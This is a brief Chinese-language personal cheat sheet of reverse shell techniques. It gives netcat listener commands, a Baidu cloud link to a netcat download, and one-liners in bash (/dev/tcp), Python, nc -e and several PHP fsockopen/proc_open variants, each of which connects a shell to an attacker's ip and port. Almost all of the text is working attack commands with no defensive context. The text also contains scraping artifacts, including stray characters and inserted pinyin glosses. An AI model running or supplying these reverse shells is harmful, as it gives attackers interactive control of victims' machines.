寫簡單些給自己用的始锚,省得每次記不住都得靠度娘
接收端主機利用nc監(jiān)聽端口
Windows:nc -l -v -p 8888
Linux:nc -lvvp 8888
放個nc: https://pan.baidu.com/s/1B0jehdcst5aYR0HLbXSM9w 提取碼: 9vya
0x01 bash
bash -i >& /dev/tcp/ip/port 0>&1
0x02 python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
0x03 nc
#看nc版本,有的nc沒有-e參數(shù)
nc -e /bin/bash ip port
0x04 php
php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port 0>&1");' #這個測沒成啃洋,先留著調(diào)調(diào)再說
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");' #Centos
#php標準輸入輸出重定向到socket中,不借助其他語言支持
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);